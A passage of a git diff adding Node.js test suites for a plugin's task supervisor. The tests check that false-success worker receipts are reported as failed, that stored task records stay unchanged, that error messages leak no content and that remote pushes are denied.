runId: 'p27-concurrent-run' }); + const root = await makePrivateRoot('r1-p27-conc-'); + try { + const anchor = await initializeAggregateRunAnchorRoot(root); + await anchor.submit(makeSubmitInput(inputs)); + + const persistWorkers = [ + spawnWorker({ root, mode: 'persist', runId: 'p27-concurrent-run' }), + spawnWorker({ root, mode: 'persist', runId: 'p27-concurrent-run' }), + ]; + const persistResults = await Promise.all(persistWorkers.map((worker) => worker.done)); + assert.equal(persistResults.filter((item) => item.ok).length, 2); + assert.equal(persistResults.filter((item) => item.created).length, 1); + assert.equal(persistResults.filter((item) => item.ok && item.created === false).length, 1); + + const sameReply = [ + spawnWorker({ root, mode: 'reply', runId: 'p27-concurrent-run' }), + spawnWorker({ root, mode: 'reply', runId: 'p27-concurrent-run' }), + ]; + const sameResults = await Promise.all(sameReply.map((worker) => worker.done)); + assert.equal(sameResults.filter((item) => item.ok).length, 2); + assert.equal(sameResults.filter((item) => item.created).length, 1); + } finally { + await rm(root, { recursive: true, force: true }); + } + + const mixedRoot = await makePrivateRoot('r1-p27-conc-diff-'); + const mixedInputs = makePersistenceInputs({ runId: 'p27-concurrent-diff' }); + try { + const mixedAnchor = await initializeAggregateRunAnchorRoot(mixedRoot); + await mixedAnchor.submit(makeSubmitInput(mixedInputs)); + await persistSelectionQuestionBatch({ anchor: mixedAnchor, ...mixedInputs }); + const mixed = await Promise.all([ + spawnWorker({ root: mixedRoot, mode: 'reply', runId: 'p27-concurrent-diff' }).done, + spawnWorker({ root: mixedRoot, mode: 'reply-alt', runId: 'p27-concurrent-diff' }).done, + ]); + const winners = mixed.filter((item) => item.ok); + const losers = mixed.filter((item) => !item.ok); + assert.equal(winners.length, 1); + assert.equal(losers.length, 1); + assert.equal(winners[0].created, true); + assert.ok([ + 'aggregate_run_revision_conflict', + 'aggregate_run_binding_conflict', + 'stale_selection_request', + ].includes(losers[0].code), losers[0].code); + const coordination = await mixedAnchor.getCoordination('p27-concurrent-diff'); + assert.equal(coordination.phase, 'resolution_ready'); + assert.equal(coordination.revision, 2); + } finally { + await rm(mixedRoot, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs b/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs new file mode 100644 index 0000000..04ed990 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs @@ -0,0 +1,691 @@ +// Supervisor result truthfulness — focused and adversarial coverage of the +// terminal-receipt classifier. Stored task.v1 bytes are compared, not rewritten. + +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { readFile } from 'node:fs/promises'; +import { mkdtemp, rm } from 'node:fs/promises'; +import os from 'node:os'; +import path from 'node:path'; +import readline from 'node:readline'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { denyWorkerRemoteMutation } from '../mcp/v3/credential-boundary.mjs'; +import { publicState } from '../mcp/v3/contract.mjs'; +import { COMPACT_VIEW } from '../mcp/v3/compact-task.mjs'; +import { + SUPERVISOR_FALSE_SUCCESS_REASON, + cancelTask, + classifySupervisorTerminalReceipt, + projectSupervisorPublicState, + projectSupervisorTaskRecords, + projectSupervisorTerminalReceipt, + supervisorStatus, + taskStatus, +} from '../mcp/v3/supervisor.mjs'; +import { TASK_SCHEMA, createTask, listTasks, listTasksPage, readTask, taskPaths } from '../mcp/v3/task-store.mjs'; +import { + AUTHORITATIVE_PING_TIMEOUT, + COMPACT_CARD_KEYS, + COMPACT_OMITTED_TASKS_KEYS, + CONTENT_FREE, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_URL, + LEGACY_STATUS_KEYS, + PUBLIC_STATE_VOCABULARY, + STORED_STATUS_VOCABULARY, + TASKS_LIST_KEYS, + TASKS_PAGED_KEYS, + TASK_STATUS_KEYS, + WAIT_ANY_ENTRY_KEYS, + WAIT_ANY_KEYS, + countingProxy, + envelopeOnlyCompletedReceipt, + legitimateCancelledReceipt, + legitimateCompletedReceipt, + legitimateEnvironmentBlockedReceipt, + legitimateFailedReceipt, + legitimateTimeoutReceipt, + legitimateTransportLostReceipt, + quotedPingInSuccessfulResultReceipt, + readyBoundary, + readyProviderReadiness, + structuredWholeResultErrorReceipt, + terminalReceipt, + throwingGetterReceipt, + wholeResultPingTimeoutReceipt, + zeroWorkPingTimeoutReceipt, +} from './fixtures/r1-supervisor-result-truthfulness-fixtures.mjs'; + +const SERVER = path.join(path.dirname(fileURLToPath(import.meta.url)), '..', 'mcp', 'v3', 'server.mjs'); + +function assertContentFreeReason(value) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes(AUTHORITATIVE_PING_TIMEOUT), false); + assert.equal(text.includes('RetriableError'), false); + assert.equal(text.includes('PING timed out'), false); + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_URL), false); + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +function assertVocabulary(status, state) { + if (status != null) assert.equal(STORED_STATUS_VOCABULARY.includes(status), true, status); + if (state != null) assert.equal(PUBLIC_STATE_VOCABULARY.includes(state), true, state); +} + +function assertNotSucceeded(state) { + assert.notEqual(state, 'succeeded'); +} + +async function withRoot(fn) { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-rtruth-')); + try { + return await fn(root); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +async function storeReceipt(root, receipt, prompt = 'keep this prompt private') { + const { task, paths } = await createTask({ + root, + prompt, + record: receipt, + }); + const stored = await readFile(paths.record, 'utf8'); + return { task, paths, stored }; +} + +async function statusOf(root) { + return supervisorStatus(root, { + probeBoundary: async () => readyBoundary(), + readProviderReadiness: async () => readyProviderReadiness(), + }); +} + +async function withServerAt(root, fn) { + const child = spawn(process.execPath, ['--no-warnings', SERVER], { + env: { + ...process.env, + CODEX_CO_ENGINEER_STATE_DIR: root, + CODEX_CO_ENGINEER_GROK_COMMAND: '/bin/false', + CODEX_CO_ENGINEER_CURSOR_COMMAND: '/bin/false', + CODEX_CO_ENGINEER_DSH_COMMAND: '/bin/false', + CODEX_CO_ENGINEER_ACPX_COMMAND: '/bin/false', + CODEX_CO_ENGINEER_DSH_ACP_COMMAND: 'false', + }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + const lines = readline.createInterface({ input: child.stdout, crlfDelay: Infinity }); + const pending = []; + let stderr = ''; + child.stderr.on('data', (chunk) => { stderr = `${stderr}${chunk}`.slice(-4096); }); + const nextValue = () => new Promise((resolve, reject) => { + pending.push({ resolve, reject }); + }); + lines.on('line', (line) => { + const waiter = pending.shift(); + if (waiter) waiter.resolve(JSON.parse(line)); + }); + child.once('error', (error) => { + for (const waiter of pending.splice(0)) waiter.reject(error); + }); + child.once('exit', (code, signal) => { + const error = new Error(`MCP server exited (${code ?? signal}): ${stderr}`); + for (const waiter of pending.splice(0)) waiter.reject(error); + }); + const request = async (message) => { + child.stdin.write(`${JSON.stringify(message)}\n`); + return nextValue(); + }; + try { + return await fn({ request }); + } finally { + child.stdin.end(); + child.kill('SIGTERM'); + lines.close(); + } +} + +test('authoritative zero-work PING timeout cannot project state=succeeded', () => { + const receipt = zeroWorkPingTimeoutReceipt(); + const classified = classifySupervisorTerminalReceipt(receipt); + assert.equal(classified.stored_status, 'completed'); + assert.equal(classified.projected_status, 'failed'); + assert.equal(classified.public_state, 'failed'); + assert.equal(classified.corrected, true); + assert.equal(classified.reason, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assert.equal(projectSupervisorPublicState(receipt), 'failed'); + assert.notEqual(publicState(receipt.status), 'failed'); + assert.equal(publicState(classified.projected_status), 'failed'); + assertContentFreeReason(classified.error); + assertContentFreeReason(classified.reason); + assertVocabulary(classified.projected_status, classified.public_state); + const projected = projectSupervisorTerminalReceipt(receipt); + assert.equal(projected.status, 'failed'); + assert.equal(projected.error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assert.equal(receipt.status, 'completed'); + assertNotSucceeded(projectSupervisorPublicState(receipt)); +}); + +test('explicit whole-result terminal transport error cannot project succeeded', () => { + for (const receipt of [ + wholeResultPingTimeoutReceipt(), + structuredWholeResultErrorReceipt(), + envelopeOnlyCompletedReceipt(), + terminalReceipt({ + id: 'nested-result-error', + result: { error: { code: 'unavailable', message: AUTHORITATIVE_PING_TIMEOUT } }, + error: null, + }), + ]) { + const classified = classifySupervisorTerminalReceipt(receipt); + assert.equal(classified.corrected, true, receipt.id); + assert.equal(classified.public_state, 'failed', receipt.id); + assertNotSucceeded(classified.public_state); + assertContentFreeReason(classified.error); + } +}); + +test('succeeded is only for completed receipts without a terminal error', () => { + const clean = legitimateCompletedReceipt(); + const classified = classifySupervisorTerminalReceipt(clean); + assert.equal(classified.corrected, false); + assert.equal(classified.projected_status, 'completed'); + assert.equal(classified.public_state, 'succeeded'); + assert.equal(classified.reason, null); + assert.equal(projectSupervisorTerminalReceipt(clean), clean); + + const quoted = quotedPingInSuccessfulResultReceipt(); + const quotedClassified = classifySupervisorTerminalReceipt(quoted); + assert.equal(quotedClassified.corrected, false); + assert.equal(quotedClassified.public_state, 'succeeded'); +}); + +test('transport_lost remains nonterminal reconciliation uncertainty', () => { + const receipt = terminalReceipt({ + id: 'rtruth-transport-lost', + status: 'transport_lost', + error: { code: 'worker_not_running', message: 'Recorded worker is not running.' }, + result: AUTHORITATIVE_PING_TIMEOUT, + }); + const classified = classifySupervisorTerminalReceipt(receipt); + assert.equal(classified.corrected, false); + assert.equal(classified.stored_status, 'transport_lost'); + assert.equal(classified.projected_status, 'transport_lost'); + assert.equal(classified.public_state, 'transport_lost'); + assert.equal(projectSupervisorTerminalReceipt(receipt), receipt); +}); + +test('exact stored and public vocabularies pass through without correction', () => { + const storedToPublic = { + completed: 'succeeded', + failed: 'failed', + cancelled: 'cancelled', + timeout: 'timed_out', + environment_blocked: 'environment_blocked', + transport_lost: 'transport_lost', + needs_attention: 'needs_attention', + accepted: 'accepted', + starting: 'starting', + running: 'running', + cancelling: 'cancelling', + }; + for (const status of STORED_STATUS_VOCABULARY) { + const classified = classifySupervisorTerminalReceipt(terminalReceipt({ + id: `vocab-${status}`, + status, + result: status === 'completed' ? 'ok' : null, + error: status === 'completed' ? null : { code: status, message: 'bounded' }, + })); + assert.equal(classified.projected_status, status); + assert.equal(classified.public_state, storedToPublic[status]); + assert.equal(classified.corrected, false); + assertVocabulary(classified.projected_status, classified.public_state); + } + for (const state of PUBLIC_STATE_VOCABULARY) { + assert.equal(PUBLIC_STATE_VOCABULARY.includes(state), true); + } +}); + +test('status, task, tasks, and cancel share the classifier without rewriting stored bytes', async () => { + await withRoot(async (root) => { + const { paths, stored } = await storeReceipt(root, zeroWorkPingTimeoutReceipt({ + cwd: root, + })); + assert.match(stored, /"schema": "codex-co-engineer.task.v1"/u); + assert.match(stored, /"status": "completed"/u); + + const inspected = await taskStatus(root, 'rtruth-ping-timeout'); + assert.deepEqual(Object.keys(inspected).filter((key) => key !== 'diagnostics'), [...TASK_STATUS_KEYS]); + assert.equal(inspected.state, 'failed'); + assert.equal(inspected.task.status, 'failed'); + assert.equal(inspected.task.error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assert.equal(inspected.summary.state, 'failed'); + assert.equal(inspected.diagnostic.state, 'failed'); + assertContentFreeReason(inspected.task.error); + assertContentFreeReason(inspected.diagnostic.message); + assertNotSucceeded(inspected.state); + + const compact = await taskStatus(root, 'rtruth-ping-timeout', { view: COMPACT_VIEW }); + assert.equal(compact.view, COMPACT_VIEW); + assert.equal(compact.state, 'failed'); + assert.equal(compact.status, 'failed'); + assertNotSucceeded(compact.state); + + const status = await statusOf(root); + assert.deepEqual(Object.keys(status), [...LEGACY_STATUS_KEYS]); + assert.equal(status.tasks.length, 1); + assert.equal(status.tasks[0].status, 'failed'); + assert.equal(status.tasks[0].error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + + const listed = projectSupervisorTaskRecords(await listTasks(root)); + assert.equal(listed.length, 1); + assert.equal(listed[0].status, 'failed'); + assert.equal(listed[0].error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + + const cancelled = await cancelTask(root, 'rtruth-ping-timeout'); + assert.equal(cancelled.status, 'failed'); + assert.equal(cancelled.error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assertNotSucceeded(projectSupervisorPublicState(cancelled)); + + const after = await readFile(paths.record, 'utf8'); + assert.equal(after, stored); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); + assert.equal(paths.record, taskPaths(root, 'rtruth-ping-timeout').record); + }); +}); + +test('whole-result PING timeout is failed across supervisor surfaces and leaves bytes unchanged', async () => { + await withRoot(async (root) => { + const { stored } = await storeReceipt(root, wholeResultPingTimeoutReceipt({ + id: 'rtruth-whole-result-ping', + cwd: root, + })); + const inspected = await taskStatus(root, 'rtruth-whole-result-ping'); + assert.equal(inspected.state, 'failed'); + assert.equal(inspected.task.status, 'failed'); + const status = await statusOf(root); + assert.equal(status.tasks[0].status, 'failed'); + const listed = projectSupervisorTaskRecords(await listTasks(root)); + assert.equal(listed[0].status, 'failed'); + const cancelled = await cancelTask(root, 'rtruth-whole-result-ping'); + assert.equal(cancelled.status, 'failed'); + assert.equal((await readTask(root, 'rtruth-whole-result-ping')).task.status, 'completed'); + assert.equal(await readFile(taskPaths(root, 'rtruth-whole-result-ping').record, 'utf8'), stored); + }); +}); + +test('legitimate completed receipts still project succeeded', async () => { + await withRoot(async (root) => { + await storeReceipt(root, legitimateCompletedReceipt({ cwd: root })); + const inspected = await taskStatus(root, 'rtruth-legitimate-completed'); + assert.equal(inspected.state, 'succeeded'); + assert.equal(inspected.task.status, 'completed'); + const status = await statusOf(root); + assert.equal(status.tasks[0].status, 'completed'); + const cancelled = await cancelTask(root, 'rtruth-legitimate-completed'); + assert.equal(cancelled.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-legitimate-completed')).task.status, 'completed'); + }); +}); + +test('legacy omitted-mode status and compact include_tasks=false shapes are preserved', async () => { + await withRoot(async (root) => { + await storeReceipt(root, legitimateCompletedReceipt({ id: 'shape-one', cwd: root })); + await storeReceipt(root, zeroWorkPingTimeoutReceipt({ id: 'shape-two', cwd: root })); + const legacy = await statusOf(root); + assert.deepEqual(Object.keys(legacy), [...LEGACY_STATUS_KEYS]); + assert.equal('detail' in legacy, false); + assert.equal('task_count' in legacy, false); + assert.equal('include_tasks' in legacy, false); + assert.equal(legacy.tasks.length, 2); + + const omitted = await supervisorStatus(root, { + probeBoundary: async () => readyBoundary(), + readProviderReadiness: async () => readyProviderReadiness(), + }, { + detail: 'compact', + include_tasks: false, + }); + assert.deepEqual(Object.keys(omitted).sort(), [...COMPACT_OMITTED_TASKS_KEYS].sort()); + assert.equal(omitted.detail, 'compact'); + assert.equal(omitted.include_tasks, false); + assert.equal(omitted.task_limit, 0); + assert.equal(omitted.returned_tasks, 0); + assert.deepEqual(omitted.tasks, []); + assert.equal(omitted.task_count, 2); + }); +}); + +test('compact status cards use classified state for false-success receipts', async () => { + await withRoot(async (root) => { + await storeReceipt(root, zeroWorkPingTimeoutReceipt({ cwd: root })); + const compact = await supervisorStatus(root, { + probeBoundary: async () => readyBoundary(), + readProviderReadiness: async () => readyProviderReadiness(), + }, { + detail: 'compact', + include_tasks: true, + task_limit: 20, + }); + assert.equal(compact.detail, 'compact'); + assert.equal(compact.tasks.length, 1); + assert.equal(compact.tasks[0].state, 'failed'); + assertNotSucceeded(compact.tasks[0].state); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + }); +}); + +test('hostile accessors cannot force a completed receipt to succeeded', () => { + const throwingError = throwingGetterReceipt('error', { result: AUTHORITATIVE_PING_TIMEOUT }); + const classifiedError = classifySupervisorTerminalReceipt(throwingError); + assert.equal(classifiedError.public_state, 'failed'); + assertContentFreeReason(classifiedError.error); + + const throwingResult = throwingGetterReceipt('result', { + result: AUTHORITATIVE_PING_TIMEOUT, + error: null, + }); + const classifiedResult = classifySupervisorTerminalReceipt(throwingResult); + assert.equal(classifiedResult.public_state, 'failed'); + + const throwingStatus = throwingGetterReceipt('status'); + const classifiedStatus = classifySupervisorTerminalReceipt(throwingStatus); + assert.notEqual(classifiedStatus.public_state, 'succeeded'); + + const { proxy, counts } = countingProxy(zeroWorkPingTimeoutReceipt()); + const classifiedProxy = classifySupervisorTerminalReceipt(proxy); + assert.equal(classifiedProxy.public_state, 'failed'); + assert.equal(counts.apply, 0); + assert.ok(counts.get > 0); +}); + +test('classifier ignores non-receipt values and does not invent succeeded', () => { + for (const value of [null, undefined, 1, 'completed', true, false, [], Object.create(null)]) { + const classified = classifySupervisorTerminalReceipt(value); + assert.equal(classified.corrected, false); + assert.notEqual(classified.public_state, 'succeeded'); + } + assert.equal(projectSupervisorTaskRecords(null).length, 0); + assert.equal(projectSupervisorTaskRecords(undefined).length, 0); + assert.deepEqual(projectSupervisorTaskRecords([legitimateCompletedReceipt()]).map((task) => task.status), ['completed']); +}); + +test('stored succeeded with a terminal error is also corrected to failed', () => { + const receipt = zeroWorkPingTimeoutReceipt({ status: 'succeeded' }); + const classified = classifySupervisorTerminalReceipt(receipt); + assert.equal(classified.stored_status, 'succeeded'); + assert.equal(classified.projected_status, 'failed'); + assert.equal(classified.public_state, 'failed'); +}); + +test('empty error objects and oversized transcripts do not false-fail', () => { + const emptyError = classifySupervisorTerminalReceipt(terminalReceipt({ + id: 'empty-error', + error: {}, + result: 'implemented', + })); + assert.equal(emptyError.public_state, 'succeeded'); + + const okCode = classifySupervisorTerminalReceipt(terminalReceipt({ + id: 'ok-error', + error: { code: 'ok', message: 'ok' }, + result: 'implemented', + })); + assert.equal(okCode.public_state, 'succeeded'); + + const longTranscript = classifySupervisorTerminalReceipt(terminalReceipt({ + id: 'long-transcript', + error: null, + result: `${'x'.repeat(300)} PING timed out`, + })); + assert.equal(longTranscript.public_state, 'succeeded'); +}); + +test('classifier is pure, content-free, and does not mutate remotes', () => { + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('create_pr'), (error) => error.code === 'remote_mutation_denied'); + const classified = classifySupervisorTerminalReceipt(zeroWorkPingTimeoutReceipt()); + assert.equal(Object.isFrozen(classified), true); + assert.equal(Object.isFrozen(classified.error), true); + assertContentFreeReason(classified); + assertContentFreeReason(SUPERVISOR_FALSE_SUCCESS_REASON); + const json = JSON.stringify(classified); + assert.equal(json.includes('git@'), false); + assert.equal(json.includes('push'), false); + assert.equal(json.includes(HOSTILE_SECRET), false); +}); + +test('server tasks list, paged full/compact, and wait-any cannot project PING-timeout as succeeded', async () => { + await withRoot(async (root) => { + const { paths, stored } = await storeReceipt(root, zeroWorkPingTimeoutReceipt({ cwd: root })); + await storeReceipt(root, legitimateCompletedReceipt({ cwd: root })); + await withServerAt(root, async ({ request }) => { + const catalog = await request({ jsonrpc: '2.0', id: 1, method: 'tools/list', params: {} }); + assert.deepEqual(catalog.result.tools.map((tool) => tool.name), [ + 'status', 'delegate', 'task', 'tasks', 'cancel', + ]); + + const listed = (await request({ + jsonrpc: '2.0', + id: 2, + method: 'tools/call', + params: { name: 'tasks', arguments: {} }, + })).result.structuredContent; + assert.deepEqual(Object.keys(listed), [...TASKS_LIST_KEYS]); + const pingListed = listed.tasks.find((task) => task.id === 'rtruth-ping-timeout'); + const legitListed = listed.tasks.find((task) => task.id === 'rtruth-legitimate-completed'); + assert.equal(pingListed.status, 'failed'); + assert.equal(pingListed.state, 'failed'); + assert.equal(pingListed.error.code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assertNotSucceeded(pingListed.state); + assertContentFreeReason(pingListed.error); + assert.equal(legitListed.status, 'completed'); + assert.equal(legitListed.state, 'succeeded'); + + const fullPage = (await request({ + jsonrpc: '2.0', + id: 3, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'full', limit: 20 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(fullPage).sort(), [...TASKS_PAGED_KEYS].sort()); + assert.equal(fullPage.detail, 'full'); + const pingFull = fullPage.tasks.find((task) => task.id === 'rtruth-ping-timeout'); + const legitFull = fullPage.tasks.find((task) => task.id === 'rtruth-legitimate-completed'); + assert.equal(pingFull.state, 'failed'); + assert.equal(pingFull.status, 'failed'); + assertNotSucceeded(pingFull.state); + assert.equal(legitFull.state, 'succeeded'); + + const compactPage = (await request({ + jsonrpc: '2.0', + id: 4, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'compact', limit: 20 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(compactPage).sort(), [...TASKS_PAGED_KEYS].sort()); + assert.equal(compactPage.detail, 'compact'); + for (const card of compactPage.tasks) { + assert.deepEqual(Object.keys(card).sort(), [...COMPACT_CARD_KEYS].sort()); + } + const pingCompact = compactPage.tasks.find((task) => task.id === 'rtruth-ping-timeout'); + const legitCompact = compactPage.tasks.find((task) => task.id === 'rtruth-legitimate-completed'); + assert.equal(pingCompact.state, 'failed'); + assertNotSucceeded(pingCompact.state); + assert.equal(legitCompact.state, 'succeeded'); + + const waitAny = (await request({ + jsonrpc: '2.0', + id: 5, + method: 'tools/call', + params: { + name: 'tasks', + arguments: { + task_ids: ['rtruth-ping-timeout', 'rtruth-legitimate-completed'], + wait_ms: 0, + wait_until: 'terminal', + }, + }, + })).result.structuredContent; + assert.deepEqual(Object.keys(waitAny).sort(), [...WAIT_ANY_KEYS].sort()); + assert.equal(waitAny.tasks.length, 2); + for (const entry of waitAny.tasks) { + assert.deepEqual(Object.keys(entry).sort(), [...WAIT_ANY_ENTRY_KEYS].sort()); + } + const pingWait = waitAny.tasks.find((entry) => entry.task_id === 'rtruth-ping-timeout'); + const legitWait = waitAny.tasks.find((entry) => entry.task_id === 'rtruth-legitimate-completed'); + assert.equal(pingWait.state, 'failed'); + assert.equal(pingWait.task.state, 'failed'); + assert.equal(pingWait.task.status, 'failed'); + assertNotSucceeded(pingWait.state); + assertNotSucceeded(pingWait.task.state); + assert.equal(pingWait.task.summary.error_code, SUPERVISOR_FALSE_SUCCESS_REASON.code); + assertContentFreeReason(pingWait.task.summary.error_code); + assertContentFreeReason(pingWait.task.diagnostic); + assert.equal(legitWait.state, 'succeeded'); + assert.equal(legitWait.task.state, 'succeeded'); + assert.equal(legitWait.task.status, 'completed'); + }); + + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => error.code === 'remote_mutation_denied'); + const after = await readFile(paths.record, 'utf8'); + assert.equal(after, stored); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); + }); +}); + +test('classifier-derived filter membership, totals, and page cursors exclude corrected PING-timeout from succeeded', async () => { + await withRoot(async (root) => { + const stamp = (second, receipt) => ({ + ...receipt, + cwd: root, + created_at: `2026-08-20T00:00:0${second}.000Z`, + updated_at: `2026-08-20T00:00:0${second}.000Z`, + }); + const { paths, stored } = await storeReceipt(root, zeroWorkPingTimeoutReceipt(stamp(5, {}))); + await storeReceipt(root, legitimateCompletedReceipt(stamp(4, { id: 'rtruth-legit-b' }))); + await storeReceipt(root, legitimateFailedReceipt(stamp(3, {}))); + await storeReceipt(root, legitimateCompletedReceipt(stamp(2, { id: 'rtruth-legit-a' }))); + await storeReceipt(root, legitimateCancelledReceipt(stamp(1, {}))); + await storeReceipt(root, legitimateTimeoutReceipt(stamp(0, {}))); + await storeReceipt(root, legitimateEnvironmentBlockedReceipt(stamp(6, {}))); + await storeReceipt(root, legitimateTransportLostReceipt(stamp(7, {}))); + + const omitted = await listTasksPage(root, {}); + assert.equal(omitted.total, 8); + assert.equal(omitted.tasks.some((task) => task.id === 'rtruth-ping-timeout'), true); + assert.equal(omitted.tasks.find((task) => task.id === 'rtruth-ping-timeout').status, 'completed'); + + const succeeded = await listTasksPage(root, { state: 'succeeded', limit: 1, detail: 'full' }); + assert.deepEqual(succeeded.tasks.map((task) => task.id), ['rtruth-legit-b']); + assert.equal(succeeded.total, 2); + assert.equal(succeeded.has_more, true); + assert.equal(succeeded.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + const succeededPage2 = await listTasksPage(root, { + state: 'succeeded', + limit: 1, + detail: 'full', + cursor: succeeded.next_cursor, + }); + assert.deepEqual(succeededPage2.tasks.map((task) => task.id), ['rtruth-legit-a']); + assert.equal(succeededPage2.total, 2); + assert.equal(succeededPage2.has_more, false); + assert.equal(succeededPage2.next_cursor, null); + + const failed = await listTasksPage(root, { state: 'failed', limit: 1, detail: 'compact' }); + assert.deepEqual(failed.tasks.map((task) => task.id), ['rtruth-ping-timeout']); + assert.equal(failed.total, 2); + assert.equal(failed.has_more, true); + assert.equal(failed.tasks[0].status, 'completed'); + const failedPage2 = await listTasksPage(root, { + state: 'failed', + limit: 1, + detail: 'compact', + cursor: failed.next_cursor, + }); + assert.deepEqual(failedPage2.tasks.map((task) => task.id), ['rtruth-legitimate-failed']); + assert.equal(failedPage2.total, 2); + assert.equal(failedPage2.has_more, false); + + await withServerAt(root, async ({ request }) => { + const succeededPage = (await request({ + jsonrpc: '2.0', + id: 10, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'full', state: 'succeeded', limit: 1 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(succeededPage).sort(), [...TASKS_PAGED_KEYS].sort()); + assert.deepEqual(succeededPage.tasks.map((task) => task.id), ['rtruth-legit-b']); + assert.equal(succeededPage.tasks[0].state, 'succeeded'); + assert.equal(succeededPage.total, 2); + assert.equal(succeededPage.has_more, true); + assert.equal(succeededPage.tasks.some((task) => task.id === 'rtruth-ping-timeout'), false); + + const failedPage = (await request({ + jsonrpc: '2.0', + id: 11, + method: 'tools/call', + params: { name: 'tasks', arguments: { detail: 'compact', state: 'failed', limit: 20 } }, + })).result.structuredContent; + assert.deepEqual(Object.keys(failedPage).sort(), [...TASKS_PAGED_KEYS].sort()); + for (const card of failedPage.tasks) { + assert.deepEqual(Object.keys(card).sort(), [...COMPACT_CARD_KEYS].sort()); + } + assert.deepEqual(failedPage.tasks.map((task) => task.id), [ + 'rtruth-ping-timeout', + 'rtruth-legitimate-failed', + ]); + assert.equal(failedPage.tasks[0].state, 'failed'); + assertNotSucceeded(failedPage.tasks[0].state); + assert.equal(failedPage.total, 2); + assert.equal(failedPage.has_more, false); + + const cancelledPage = (await request({ + jsonrpc: '2.0', + id: 12, + method: 'tools/call', + params: { name: 'tasks', arguments: { state: 'cancelled' } }, + })).result.structuredContent; + assert.deepEqual(cancelledPage.tasks.map((task) => task.id), ['rtruth-legitimate-cancelled']); + const timedOutPage = (await request({ + jsonrpc: '2.0', + id: 13, + method: 'tools/call', + params: { name: 'tasks', arguments: { state: 'timed_out' } }, + })).result.structuredContent; + assert.deepEqual(timedOutPage.tasks.map((task) => task.id), ['rtruth-legitimate-timeout']); + const blockedPage = (await request({ + jsonrpc: '2.0', + id: 14, + method: 'tools/call', + params: { name: 'tasks', arguments: { state: 'environment_blocked' } }, + })).result.structuredContent; + assert.deepEqual(blockedPage.tasks.map((task) => task.id), ['rtruth-legitimate-environment-blocked']); + const lostPage = (await request({ + jsonrpc: '2.0', + id: 15, + method: 'tools/call', + params: { name: 'tasks', arguments: { state: 'transport_lost' } }, + })).result.structuredContent; + assert.deepEqual(lostPage.tasks.map((task) => task.id), ['rtruth-legitimate-transport-lost']); + }); + + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('create_pr'), (error) => error.code === 'remote_mutation_denied'); + const after = await readFile(paths.record, 'utf8'); + assert.equal(after, stored); + assert.match(after, /"schema": "codex-co-engineer.task.v1"/u); + assert.match(after, /"status": "completed"/u); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.status, 'completed'); + assert.equal((await readTask(root, 'rtruth-ping-timeout')).task.schema, TASK_SCHEMA); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs b/plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs new file mode 100644 index 0000000..a927a38 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs @@ -0,0 +1,579 @@ +import assert from 'node:assert/strict'; +import { mkdir, mkdtemp, readFile, rm } from 'node:fs/promises'; +import os from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + inspectExactProcessBoundary, + PROCESS_BOUNDARY_STATES, + stopExactProcessBoundary, +} from '../mcp/v3/process-boundary.mjs'; +import { + classifySupervisorTerminalReceipt, + cleanupLocalTaskLifecycle, + projectSupervisorPublicState, + projectSupervisorTerminalReceipt, + settleLocalTaskLifecycle, + supervisorStatus, + taskStatus, +} from '../mcp/v3/supervisor.mjs'; +import { createTask, readRuntimeRecord, readTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { + createBoundaryHarness, + gitSnapshot, + incidentOneRuntime, + incidentTwoRuntime, + INCIDENT_1_TASK_ID, + INCIDENT_2_TASK_ID, + lifecycleReceipt, + lockInspectReceipt, + OTHER_UNIT, + SHA, + terminalTaskRecord, +} from './fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs'; + +function lifecycleKeys(value) { + return Object.keys(value); +} + +async function withRoot(fn) { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-lifecycle-')); + try { + return await fn(root); + } finally { + await rm(root, { recursive: true, force: true 